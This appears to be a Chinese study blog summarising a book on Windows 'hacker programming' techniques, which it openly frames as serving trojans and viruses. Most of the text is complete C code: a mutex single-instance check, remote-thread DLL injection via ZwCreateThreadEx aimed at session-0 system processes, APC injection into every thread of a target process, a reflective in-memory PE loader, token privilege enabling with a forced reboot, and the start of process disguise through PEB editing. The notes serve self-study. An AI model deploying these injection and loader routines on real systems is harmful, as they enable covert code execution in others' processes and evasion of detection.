Windows-Hack-Programming

本文章记录windows常见黑客编程技术,实际上都是比较老的了,新的也不可能发出来,之前也是分析恶意代码实践的lab,只能中ida的伪代码中学到一些知识点,比较零散,也没有参考代码,现在买了本《windows黑客编程技术基础》来系统学习学习。

关于vs的一些小操作

主要是属性的设置。

查阅官方文档没有的函数http://undoc.airesoft.co.uk/

第二章-基础技术

运行单一实例

有时候,病毒木马为了被靶机激活,一般都会选择植入到靶机的多个位置等,但是多了就容易暴露,所以有没有方法可以实现同一时间只让一个进程执行我们的恶意代码呢。互斥对象就可以做到这个,当然方法也不唯一,启动进程参数也可以做到这点,比如说彩虹猫的两种main参数。

原理主要是利用CreateMutex的返回值特性完成的。

返回值
如果函数成功,则返回值是新创建的互斥对象的句柄。

如果函数失败,则返回值为NULL。要获取扩展的错误信息,请调用GetLastError。

如果互斥锁是一个命名互斥锁并且该对象在此函数调用之前存在,则返回值是现有对象的句柄,并且GetLastError函数返回ERROR_ALREADY_EXISTS。

互斥对象也在win32的学习中也学过的,下面直接上代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

#include<stdio.h>
#include<windows.h>

int main()
{
HANDLE hMutex;
hMutex=CreateMutex(NULL, TRUE, L"myMtex");
if (hMutex)
{
if (ERROR_ALREADY_EXISTS == GetLastError())
{
printf("Already Run!");
}
else
{
printf("Not Run!");
}
}
else
{
printf("CreateMutex Failed");
}
system("pause");
}

DLL延迟加载

设置下vs就可实现,属性->链接器->输入->延迟加载的DLL->输入:SkinPPWTL.dll

资源释放

就是把各种资源放到exe文件里面,这样程序可以就只有一个,但是可以包含很多其他文件,当然大小也会变大。在《恶代》一书中的lab3-3就有这样的技术。

自闭了,写出来一直findresource错误,但是生成的exe明明包含了这个资源。。

第三章-注入技术

dll注入的技术,已经总结了一篇文章,现在只写写当时没总结到的。

突破SEESION 0 隔离的远线程注入

这个也就是CreateRemoteThread的底层函数ZwCreateThreadEx,CreateRemoteThread的本质是调用ZwCreateThreadEx,也是很久前那些大师傅调试CreateRemoteThread函数,最后找到了为什么不能注入SEESION 0进程的原因,就是ZwCreateThreadEx的第七个参数CreateThreadFlags如果为1的话,就会造成注入失败,所以想要向系统进程注入dll文件,就必须设置这个参数为0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

//64位系统下
DWORD WINAPI ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown
);

//32位系统下
DWORD WINAPI ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown
);

ZwCreateThreadEx和NtCreateThreadEx好像是一样的。用户模式下是一样的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

#include<stdio.h>
#include<windows.h>
#include<tchar.h>

BOOL MyInjectDll(DWORD dwPID, LPCSTR szDllPath)
{
typedef DWORD(WINAPI* ZWCREATETHREADEX)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown
);

HANDLE hProcess = NULL, hThread = NULL;//目标进程的句柄
LPVOID pRemoteBuf = NULL;
DWORD dwBufSize = (DWORD)strlen(szDllPath) + 1;
HMODULE hMod = NULL;
HMODULE hNtdllDll = NULL;
LPTHREAD_START_ROUTINE pThreadProc;
ZWCREATETHREADEX MyZwCreateThreadEx;
DWORD bzwCT;

HANDLE hRemoteThread = NULL;

if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
{
printf("OpenProcess failed!!!");
return false;
}
//申请dll路径大小的空间
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
if (NULL == pRemoteBuf)
{
printf("VirtualAllocEx failed!!!");
return FALSE;
}

//写入dll路径
if (FALSE == WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL))
{
printf("WriteProcessMemory failed!!!");
}

hMod = GetModuleHandle(L"kernel32.dll");
hNtdllDll = GetModuleHandleA("ntdll.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryA");

MyZwCreateThreadEx = (ZWCREATETHREADEX)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (pThreadProc == NULL || MyZwCreateThreadEx == NULL)
{
printf("GetProcAddress failed!!!");
}
bzwCT=MyZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pThreadProc, pRemoteBuf, 0, 0, 0, 0, NULL);

if (hRemoteThread == NULL)
{
printf("ZwCreateThreadEx failed!!! %d",GetLastError());
}
CloseHandle(hProcess);
FreeLibrary(hMod);



}

int main()
{
DWORD dwPID = 15644;
LPCSTR szDllPath = "d://myhack3.dll";
MyInjectDll(dwPID, szDllPath);
system("pause");
}

实际上很多系统进程还是没法注入。

APC注入

新知识点,先了解APC的概念。

APC(Asynchronous Procedure):异步过程调用,指函数在特定线程中被异步执行,看到这,我又产生了疑惑,什么是异步执行。

同步:

所谓同步,就是发出一个功能调用时,在没有得到结果之前,该调用就不返回或继续执行后续操作。

简单来说,同步就是必须一件一件事做,等前一件做完了才能做下一件事。

例如:B/S模式中的表单提交,具体过程是:客户端提交请求->等待服务器处理->处理完毕返回,在这个过程中客户端(浏览器)不能做其他事。

异步:

异步与同步相对,当一个异步过程调用发出后,调用者在没有得到结果之前,就可以继续执行后续操作。当这个调用完成后,一般通过状态、通知和回调来通知调用者。对于异步调用,调用的返回并不受调用者控制。

对于通知调用者的三种方式,具体如下:

状态:即监听被调用者的状态(轮询),调用者需要每隔一定时间检查一次,效率会很低。
通知:当被调用者执行完成后,发出通知告知调用者,无需消耗太多性能。
回调:与通知类似,当被调用者执行完成后,会调用调用者提供的回调函数。
例如:B/S模式中的ajax请求,具体过程是:客户端发出ajax请求->服务端处理->处理完毕执行客户端回调,在客户端(浏览器)发出请求后,仍然可以做其他的事。

每个线程都有一个APC队列,而QueueUserAPC函数可以可以向APC队列插入函数,先进先出,而且插入后,函数不会立即执行,除非函数处于通知(警告)状态,当线程在内部使用SignalObjectAndWait,SleepEx,WaitForSingleObjectEX,WaitForMultipleObjectsEX,等函数把自己挂起就处于了警告状态,就会执行APC队列里面的函数。

也是对APC有了个初步的了解,而QueueUserAPC这个函数更是有和CreateRemoteThread相似的特性。

1
2
3
4
5
6

DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC, ;指向应用程序提供的 APC 函数的指针,该函数在指定线程执行可警报等待操作时调用。
[in] HANDLE hThread, ;线程的句柄。
[in] ULONG_PTR dwData ;传入的参数
);

所以,我们可以将第一个参数设置为LoadLibraryA的函数指针,第三个参数设置为dll路径,就可以达到注入的目的,如果说CreateRemoteThread是在目标进程中创造了一个线程用LoadLibraryA(“dll路径”),QueueUserAPC就是向进程的线程的APC队列插入了个待执行的函数。

为了提高注入成功率,将会对一个进程的所有线程的APC队列进行QueueUserAPC函数注入。

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112

#include<stdio.h>
#include<windows.h>
#include<tlhelp32.h>

BOOL FindAllThreadId(DWORD dwPID, DWORD *dwThreadIdArr, DWORD *dwArrLenth)
{
HANDLE hshot;
THREADENTRY32 lpte= { 0 };
DWORD Lenth=0;


hshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
if (INVALID_HANDLE_VALUE == hshot)
{
printf("CreateToolhelp32Snapshot Failed!!! %d",GetLastError());
return false;
}

RtlZeroMemory(&lpte, sizeof(lpte));
lpte.dwSize = sizeof(lpte);
BOOL bt32f=Thread32First(hshot, &lpte);
if (bt32f == FALSE)
{
printf("Thread32First Failed!!!%d", GetLastError());
return false;
}
do
{
if (lpte.th32OwnerProcessID == dwPID)
{
dwThreadIdArr[Lenth] = lpte.th32ThreadID;
Lenth++;
}
} while (Thread32Next(hshot, &lpte));

*dwArrLenth = Lenth;
CloseHandle(hshot);
return TRUE;

}

BOOL MyAPCInjectDll(DWORD dwPID, LPCSTR szDllPath)
{
HANDLE hProcess = NULL, hThread = NULL;//目标进程的句柄
LPVOID pRemoteBuf = NULL;
DWORD dwBufSize = (DWORD)strlen(szDllPath) + 1;
PVOID pThreadProc;
HMODULE hMod;
DWORD ThreadIdArr[1000] = {0,};
DWORD ArrLenth = 0;





if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
{
printf("OpenProcess failed!!!");
return false;
}
//申请dll路径大小的空间
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (NULL == pRemoteBuf)
{
printf("VirtualAllocEx failed!!!");
return FALSE;
}

//写入dll路径
if (FALSE == WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL))
{
printf("WriteProcessMemory failed!!!");
}

hMod = GetModuleHandle(L"kernel32.dll");
pThreadProc = (PVOID)GetProcAddress(hMod, "LoadLibraryA");
if (pThreadProc== NULL)
{
printf("GetProcAddress failed!!!");
}

if (false == FindAllThreadId(dwPID, ThreadIdArr, &ArrLenth))
{
printf("FindAllThreadId failed!!!");
}

for (int i = 0; i < ArrLenth; i++)
{
printf("%d\n", ThreadIdArr[i]);
hThread =OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadIdArr[i]);
if (hThread)
{
DWORD check=QueueUserAPC((PAPCFUNC)pThreadProc, hThread, (ULONG_PTR)pRemoteBuf);
if (check == NULL)
{
printf("QueueUserAPC failed!!! %d\n",GetLastError());
}
CloseHandle(hThread);
hThread = NULL;
}

}

}

int main()
{
MyAPCInjectDll(25944, "d://myhack64.dll");
system("pause");
}

注意事项,环境需要为x64环境编译,并且dll文件也应该是64位的,发现了个奇怪的现象,对QQ.exe注入的时候,直接崩溃报错。

第四章-启动技术

如何启动一个进程。

启动进程API

第一个API,WinExec。

UINT WinExec(
  [in] LPCSTR lpCmdLine,
  [in] UINT   uCmdShow
);

第一个参数就是指定文件路径或者cmd命令行,第二个参数就是是否显示窗口,常见的有SW_HIDE隐藏窗口并激活另一个窗口,SW_SHOWNORMAL 激活并显示一个窗口。

第二个API,ShellExecute。

HINSTANCE ShellExecuteA(
  [in, optional] HWND   hwnd,
  [in, optional] LPCSTR lpOperation,
  [in]           LPCSTR lpFile,
  [in, optional] LPCSTR lpParameters,
  [in, optional] LPCSTR lpDirectory,
  [in]           INT    nShowCmd
);

第3个参数代表文件路径,最后个参数代表窗口显示。

第三个API,CreateProcess,不多讲了,功能很多。

下面是三个函数的总合代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

#include<stdio.h>
#include<windows.h>

BOOL test1(LPCSTR pszExePath, UINT uCmdShow)
{
UINT uRet = WinExec(pszExePath, uCmdShow);
if (uRet<= 31)
{
printf("WinExec Failed !!!");
return FALSE;
}
return TRUE;
}

BOOL test2(LPCSTR pszExePath, UINT uCmdShow)
{
HINSTANCE hRet = ShellExecuteA(NULL, NULL, pszExePath, NULL, NULL, uCmdShow);
if ((int)hRet <= 32)
{
printf("WinExec Failed !!!");
return FALSE;
}
return TRUE;
}

BOOL test3(LPCSTR pszExePath, UINT uCmdShow)
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));//用来将指定的内存块清零。
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);

//包含wShowWindow
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = uCmdShow;
if (!CreateProcessA(
pszExePath,
NULL,
NULL, //不继承进程句柄
NULL, //不继承线程句柄
FALSE, //不继承句柄
0, //没有创建标志,常用的有一个CREATE_SUSPENDED,立即挂起新进程。除非调用了ResumeThread函数函数,否则它不会恢复运行。可以用来干坏事。
NULL,
NULL,
&si,
&pi)
)
{
printf("CreateChildProcess Error%d", GetLastError());
return FALSE;
}
CloseHandle(pi.hProcess); //关闭句柄
CloseHandle(pi.hThread);
return TRUE;
}
int main()
{
char szFilePath[MAX_PATH] = "C:\\Windows\\system32\\notepad.exe";
test1(szFilePath, SW_SHOWNORMAL);
test2(szFilePath, SW_SHOWNORMAL);
test3(szFilePath, SW_SHOWNORMAL);
system("pause");
}

内存直接加载

本质就是自己用代码去加载一个DLL文件或者exe文件,不得不说,书上讲的真少,实际上过程和脱一个壳都差不多了。需要了解点PE结构的知识,PE结构嘛,无非就是一大堆结构体。

本过程相比于我在第七章讲的傀儡进程-PE映像切换,多了两个步骤,修改PE文件重定位表信息和填写PE文件导入表信息(IAT)。

//《逆向工程核心原理》中都能找到两个概念的介绍
PE重定位

向进程的虚拟内存中加载PE文件时,文件会被加载到PE头的ImageBase所指的地址处,该位置存在被占用可能,此时PE装载器会将其加载到其他未被占用的空间。PE重定位指PE文件无法加载到ImageBase所指位置,而是加载到其他地址时发生的一系列行为。
创建进程后,EXE文件会首先加载到内存,所以EXE文件无需考虑重定位问题。

IAT
简单来说就是存储函数地址的结构体

然后产生了三个问题

  • 为什么PE映像切换就不用做这两件事,就可以加载一个exe文件了呢?
  • 为什么需要修改PE文件重定位表信息?
  • 为什么需要填写PE文件导入表信息(IAT)?

在粗略阅读下面文章后,稍微理解了一些。
windows进程/线程创建过程 — windows操作系统学习
[原创]PE映像切换技术(Process Hollowing)不需要填充IAT表和进行重定位的原因
[原创]为什么某些壳脱壳后需要修复IAT

然后以我自己的理解来解答下,可能并不对。

  • 第一个问题:因为我们以挂起线程调用CreateProcess()函数后,然后切换了PE映像,这两个操作都是在重新启动线程后完成的。其实我对此解释也抱着半信半疑的态度,一是根据其文章的描述不能具体看到起函数是否执行了相关操作,二是因为看了对PE重定位的概念,创建进程后,EXE文件会首先加载到内存,所以EXE文件无需考虑重定位问题。在利用CreateProcess()创建进程的前提下,对于exe文件来说,已经分配了4gb的虚拟内存,默认imagebase一般都是0x400000,不需要重定位,所以删除.reloc这个节区对程序的运行一般不会照成任何影响。
  • 第二个问题:虽然说exe不需要考虑重定位问题,但是那是在创建进程的前提下,而我们手动加载一个exe文件实际上利用的是VirtualAlloc函数在本进程中再申请一段内存空间作为映像的基址,所以肯定就需要重新定位下了。
  • 第三个问题,为什么要填写IAT,就是因为dll不一定都完全按照他们的imagebase来加载到相应的基地址,IAT对应的硬编码不一定就是确切的函数地址,exe加载到内存后准确的地址会取代改位置的值。所以,我们需要自己利用GetProcAddress函数来取得确切的地址,然后填入进去。

下面来利用一个随便写的exe程序来感受下PE重定位和IAT,实际上都可以在《逆向工程核心原理》一书中找到相关知识点讲解。

// Based relocation format.
//

//@[comment("MVI_tracked")]
typedef struct _IMAGE_BASE_RELOCATION {
    DWORD   VirtualAddress;
    DWORD   SizeOfBlock;
//  WORD    TypeOffset[1];
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;

//
// Based relocation types.
//

#define IMAGE_REL_BASED_ABSOLUTE              0
#define IMAGE_REL_BASED_HIGH                  1
#define IMAGE_REL_BASED_LOW                   2
#define IMAGE_REL_BASED_HIGHLOW               3
#define IMAGE_REL_BASED_HIGHADJ               4
#define IMAGE_REL_BASED_MACHINE_SPECIFIC_5    5
#define IMAGE_REL_BASED_RESERVED              6
#define IMAGE_REL_BASED_MACHINE_SPECIFIC_7    7
#define IMAGE_REL_BASED_MACHINE_SPECIFIC_8    8
#define IMAGE_REL_BASED_MACHINE_SPECIFIC_9    9
#define IMAGE_REL_BASED_DIR64                 10

IAT,还是贴出相关结构体。

IMAGE_IMPORT_DESCRIPTOR

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    union {
        DWORD   Characteristics;            // 0 for terminating null import descriptor
        DWORD   OriginalFirstThunk;         // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
    } DUMMYUNIONNAME;
    DWORD   TimeDateStamp;                  // 0 if not bound,
                                            // -1 if bound, and real date\time stamp
                                            //     in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
                                            // O.W. date/time stamp of DLL bound to (Old BIND)

    DWORD   ForwarderChain;                 // -1 if no forwarders
    DWORD   Name;
    DWORD   FirstThunk;                     // RVA to IAT (if bound this IAT has actual addresses)
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;

IMAGE_IMPORT_BY_NAME

typedef struct _IMAGE_IMPORT_BY_NAME {
    WORD    Hint;
    CHAR   Name[1];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;

我们修改的主要是IMAGE_IMPORT_DESCRIPTOR结构体中的FirstThunk,也就是IAT中的RVA。

那么如何获得相关函数的地址,然后填上去呢,我们可以利用IMAGE_IMPORT_DESCRIPTOR结构体获得dll的名称,和该程序调用了dll那些函数的名称,然后用GetProcAddress去获得函数实际地址然后填入IAT的相对应位置。并且DLL的导出函数有两种,分为函数名称导出,和序号导出,这也是个新知识点吧https://www.xuebuyuan.com/1266850.html

这里多说一句,为什么会有IAT这个东西,为什么我们调用某个官方函数时,不直接调用起真实地址。原因就在于,对于不同的windows版本和DLL版本,可能这些地址是不同的,所以采取的一般方式是在程序加载时,才获取真实的函数地址到IAT中的对应位置。

完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202

#include<stdio.h>
#include<windows.h>

BOOL ReadExeFile(CHAR* szNewFilePath, BYTE** buffer)
{
DWORD dwFileSize = 0;
DWORD dwNumberOfBytesRead = 0;
HANDLE hFile;

hFile = CreateFileA(szNewFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("CreateFileA Failed !!! GetLastError: %d", GetLastError());
return FALSE;
}

dwFileSize = GetFileSize(hFile, NULL);
*buffer = new BYTE[dwFileSize];

if (ReadFile(hFile, *buffer, dwFileSize, &dwNumberOfBytesRead, NULL) == FALSE)
{
printf("ReadFile Failed !!! GetLastError: %d", GetLastError());
return FALSE;
}
return TRUE;

}

BOOL ImageWrite(LPVOID lpBaseAddress,PBYTE pbuf)
{
PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)pbuf;
PIMAGE_FILE_HEADER pIFH = (PIMAGE_FILE_HEADER)(pbuf + pIDH->e_lfanew + 4);
PIMAGE_OPTIONAL_HEADER pIOH = (PIMAGE_OPTIONAL_HEADER)(pbuf + pIDH->e_lfanew + 0x18);
PIMAGE_SECTION_HEADER pISH = (PIMAGE_SECTION_HEADER)(pbuf + pIDH->e_lfanew + sizeof(IMAGE_NT_HEADERS));
DWORD dSectionNum = 0;
HANDLE hProcess;


dSectionNum = pIFH->NumberOfSections;

hProcess = GetCurrentProcess();
//写入头,头的映射无论是在内存还是在文件都是一样的。
if (WriteProcessMemory(hProcess, lpBaseAddress, pbuf, pIOH->SizeOfHeaders, NULL) == 0)
{
printf("WriteProcessMemory Failed !!! %d", GetLastError());
return FALSE;
}

//for循环写每个节区,BaseAddress + pISH->VirtualAddress代表每个节区在内存中的位置,pbuf + pISH->PointerToRawData代表在文件中的位置
for (int i = 0; i < dSectionNum; i++, pISH++)
{
if (WriteProcessMemory(hProcess, (LPVOID)((DWORD)lpBaseAddress + pISH->VirtualAddress), pbuf + pISH->PointerToRawData, pISH->SizeOfRawData, NULL) == 0)
{
printf("WriteProcessMemory Failed !!! %d", GetLastError());
return FALSE;
}
}
return TRUE;
}

BOOL DoRelocationTable(LPVOID lpBaseAddress)
{
PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)lpBaseAddress;
PIMAGE_OPTIONAL_HEADER pIOH = (PIMAGE_OPTIONAL_HEADER)((DWORD)lpBaseAddress + pIDH->e_lfanew + 0x18);
PIMAGE_BASE_RELOCATION PBR = (PIMAGE_BASE_RELOCATION)((DWORD)lpBaseAddress + pIOH->DataDirectory[5].VirtualAddress);

DWORD dwImageBase = pIOH->ImageBase;
if (pIOH->DataDirectory[5].VirtualAddress == 0)
{
//没有重定位表
return TRUE;
}

while (PBR->VirtualAddress != 0)
{

DWORD RvaofBlock = PBR->VirtualAddress;
//定义成一个WORD的指针,方便取值计算
WORD* RvaArrays = (WORD*)((DWORD)PBR + sizeof(IMAGE_BASE_RELOCATION));
//算出这个重定位表块需要修改多少个RAV
int NumofRva = (PBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);

//修改每个块中的重定位表信息
//NumofRva-1是为了排除重定位表块最后的0000
for (int i = 0; i < NumofRva-1; i++)
{
//32位程序一般Type就是3,也就是IMAGE_REL_BASED_HIGHLOW
DWORD* pAddr = (DWORD*)((DWORD)lpBaseAddress +( RvaArrays[i] & 0xfff) + RvaofBlock);
*pAddr = *pAddr - dwImageBase + (DWORD)lpBaseAddress;
}

PBR = (PIMAGE_BASE_RELOCATION)((DWORD)PBR + PBR->SizeOfBlock);
}

return TRUE;
}

BOOL RepairIAT(LPVOID lpBaseAddress)
{
PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)lpBaseAddress;
PIMAGE_OPTIONAL_HEADER pIOH = (PIMAGE_OPTIONAL_HEADER)((DWORD)lpBaseAddress + pIDH->e_lfanew + 0x18);
PIMAGE_IMPORT_DESCRIPTOR PIID = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)lpBaseAddress + pIOH->DataDirectory[1].VirtualAddress);

char* DllName = NULL;
PIMAGE_IMPORT_BY_NAME FuctionName = NULL;
HMODULE hDll = NULL;

for (; *(DWORD *)PIID !=0; PIID++)
{
DllName = (char*)((DWORD)lpBaseAddress + PIID->Name);
//hDll = GetModuleHandleA(DllName);
hDll = LoadLibraryA(DllName);


PIMAGE_THUNK_DATA RVAofNameArrays = (PIMAGE_THUNK_DATA)((DWORD)lpBaseAddress + PIID->OriginalFirstThunk);
PIMAGE_THUNK_DATA RVAofIatArrays = (PIMAGE_THUNK_DATA)((DWORD)lpBaseAddress + PIID->FirstThunk);

for (int i=0; RVAofIatArrays[i].u1.Function!=0; i++)
{
//前两个字节为Ordinal编号所以要加2
FuctionName = (PIMAGE_IMPORT_BY_NAME)((DWORD)lpBaseAddress + RVAofNameArrays[i].u1.AddressOfData);

if (RVAofNameArrays[i].u1.Ordinal& 0x80000000)
{
RVAofIatArrays[i].u1.Function = (DWORD)GetProcAddress(hDll, (LPCSTR)(RVAofNameArrays[i].u1.Ordinal & 0x0000FFFF));
}
else
{
RVAofIatArrays[i].u1.Function = (DWORD)GetProcAddress(hDll, (LPCSTR)FuctionName->Name);
}
printf("%08x ", RVAofIatArrays[i].u1.Function);
printf("%08x ", RVAofNameArrays[i].u1.Ordinal);
printf("%s ", FuctionName->Name);
//GetProcAddress(hDll, FuctionName)

}
printf("\n");
}
return TRUE;
}


BOOL Set(LPVOID lpBaseAddress)
{
PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)lpBaseAddress;
PIMAGE_OPTIONAL_HEADER pIOH = (PIMAGE_OPTIONAL_HEADER)((DWORD)lpBaseAddress + pIDH->e_lfanew + 0x18);
LPVOID lpExeEntry = (LPVOID)((DWORD)lpBaseAddress + pIOH->AddressOfEntryPoint);

pIOH->ImageBase = (DWORD)lpBaseAddress;


__asm
{
mov eax, lpExeEntry
jmp eax
}

return TRUE;
}

BOOL RunExe(PBYTE pbuf)
{
PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)pbuf;
PIMAGE_OPTIONAL_HEADER pIOH = (PIMAGE_OPTIONAL_HEADER)(pbuf + pIDH->e_lfanew + 0x18);
DWORD dImageSize = 0;
LPVOID lpBaseAddress;

//申请ImageSize大小的内存空间
dImageSize = pIOH->SizeOfImage;
lpBaseAddress = VirtualAlloc(NULL, dImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlZeroMemory(lpBaseAddress, dImageSize);

//向申请的空间写入目标exe的pe映像
if (ImageWrite(lpBaseAddress, pbuf) == FALSE)
{
printf("ImageWrite Failed!!!");
return FALSE;
}

//重定位
DoRelocationTable(lpBaseAddress);

RepairIAT(lpBaseAddress);

Set(lpBaseAddress);

return TRUE;



}
int main()
{
CHAR szExePath[MAX_PATH] = "D:\\xor.exe";
PBYTE buf;

ReadExeFile(szExePath,&buf);
RunExe(buf);

system("pause");
}

运行下,还是运行的PE映像切换的弹窗exe。

第六章-提权技术

我们一般的用户就只有用户权限,在自删除技术中我们使用MoveFileEx,就只能利用管理员权限运行程序才能真正修改到注册表相应的位置,并且我们创建或者修改系统服务,修改HKEY_LOCL_MOCHINE注册表,ExitWindows关机的时候,都需要管理员权限,这也解决了当初我写MAZE病毒分析的时候,为什么仿写的关机部分没有成功的原因。也是为什么我们需要学习提权的原因。

进程访问令牌权限提升

感觉都是套路操作了,也没讲原理。

Windows的常见权限https://docs.microsoft.com/zh-cn/windows/win32/secauthz/privilege-constants?redirectedfrom=MSDN

下面代码申请了关机权限,实现了个关机程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64

#include<stdio.h>
#include<windows.h>

BOOL EnbalePrivileges(HANDLE hProcess, const wchar_t* pszPrivilegesName)
{
HANDLE hToken = NULL;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tokenPrivileges = { 0 };
BOOL bRet = FALSE;
DWORD dwRet = 0;


// 打开进程令牌并获取具有 TOKEN_ADJUST_PRIVILEGES 权限的进程令牌句柄
bRet = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
if (FALSE == bRet)
{
printf("OpenProcessToken Failed!!!");
return FALSE;
}
// 获取本地系统的 pszPrivilegesName 特权的LUID值
bRet = LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
if (FALSE == bRet)
{
printf("LookupPrivilegeValue Failed!!!");
return FALSE;
}
// 设置提升权限信息
tokenPrivileges.PrivilegeCount = 1; //特权对应的数量
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;//启动该特权
// 提升进程令牌访问权限
bRet = AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);
if (FALSE == bRet)
{
printf("AdjustTokenPrivileges Failed!!!");
return FALSE;
}
else
{
// 根据错误码判断是否特权都设置成功
dwRet = GetLastError();
if (ERROR_SUCCESS == dwRet)
{
return TRUE;
}
else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
{
printf("ERROR_NOT_ALL_ASSIGNED");
return FALSE;
}
}

return FALSE;
}

int main()
{
//获取关机权限
EnbalePrivileges(GetCurrentProcess(), SE_SHUTDOWN_NAME);

//关机并重启,原因为磁盘原因
ExitWindowsEx(EWX_REBOOT, SHTDN_REASON_MAJOR_HARDWARE | SHTDN_REASON_MINOR_DISK);
}

第七章-隐藏技术

进程伪装

所谓进程伪装就是将进程的一些基本信息伪装成某些系统exe进程的信息,使其在任务管理器或者process monitor中看起来合理一点。

主要思路就是获取PEB结构体的地址,然后去修改PEB.processparameter这个结构体的内容。

我们来看看这个结构体的样子。

typedef struct _RTL_USER_PROCESS_PARAMETERS {
  BYTE           Reserved1[16];
